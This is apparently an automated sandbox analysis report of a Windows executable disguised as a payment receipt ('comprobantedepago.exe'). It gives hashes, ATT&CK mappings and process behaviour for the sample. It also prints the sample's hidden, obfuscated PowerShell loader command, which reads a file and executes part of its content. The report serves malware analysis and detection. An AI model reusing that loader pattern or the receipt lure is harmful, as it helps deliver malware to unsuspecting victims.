20dc4ffc31f978e2c822878b11a4d59c3ad6da9898a7028d75d3c9079598de18

Analysis

max time kernel
118s
max time network
120s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
12/03/2025, 11:09

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General

Target

comprobantedepago.exe
Size

819KB
MD5

969da5cc61a21e2d5fd00a52254ecd8e
SHA1

3f3cb9fdf47343f8e4d88e5171ad3b57ed6c4bad
SHA256

20dc4ffc31f978e2c822878b11a4d59c3ad6da9898a7028d75d3c9079598de18
SHA512

6df74d8e45b5db927d8962e453f379b18ba79dce91a8e0677b55a36c1a57f38c43f677091d280d1abcbcad2b214299aeb02f2784047411e2d62a6e0912556e60
SSDEEP

12288:1gP0I82X5K+GDnvy1eSLR0lUEkyZtyj6ittqTH3oEuprboHlExvyBBApy2HIxod3:EFJsDnylcpZk64oYEGc+yTARioCLC

Score

8^/10

discovery execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2120	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	comprobantedepago.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2120	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2120	powershell.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 2692 wrote to memory of 2120	2692	comprobantedepago.exe	30
PID 2692 wrote to memory of 2120	2692	comprobantedepago.exe	30
PID 2692 wrote to memory of 2120	2692	comprobantedepago.exe	30
PID 2692 wrote to memory of 2120	2692	comprobantedepago.exe	30

C:\Users\Admin\AppData\Local\Temp\comprobantedepago.exe
"C:\Users\Admin\AppData\Local\Temp\comprobantedepago.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2692
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden "$Telemeters=GC -raw 'C:\Users\Admin\AppData\Local\Temp\gypsoplast\witherdeed\Skyldsflelsers.Pos';$Gonophorous=$Telemeters.SubString(53202,3);.$Gonophorous($Telemeters)"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2120

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2120-24-0x0000000074051000-0x0000000074052000-memory.dmp

Filesize
4KB

Download
memory/2120-25-0x0000000074050000-0x00000000745FB000-memory.dmp

Filesize
5.7MB

Download
memory/2120-26-0x0000000074050000-0x00000000745FB000-memory.dmp

Filesize
5.7MB

Download
memory/2120-27-0x0000000074050000-0x00000000745FB000-memory.dmp

Filesize
5.7MB

Download
memory/2120-28-0x0000000074050000-0x00000000745FB000-memory.dmp

Filesize
5.7MB

Download
memory/2120-29-0x0000000074050000-0x00000000745FB000-memory.dmp

Filesize
5.7MB

Download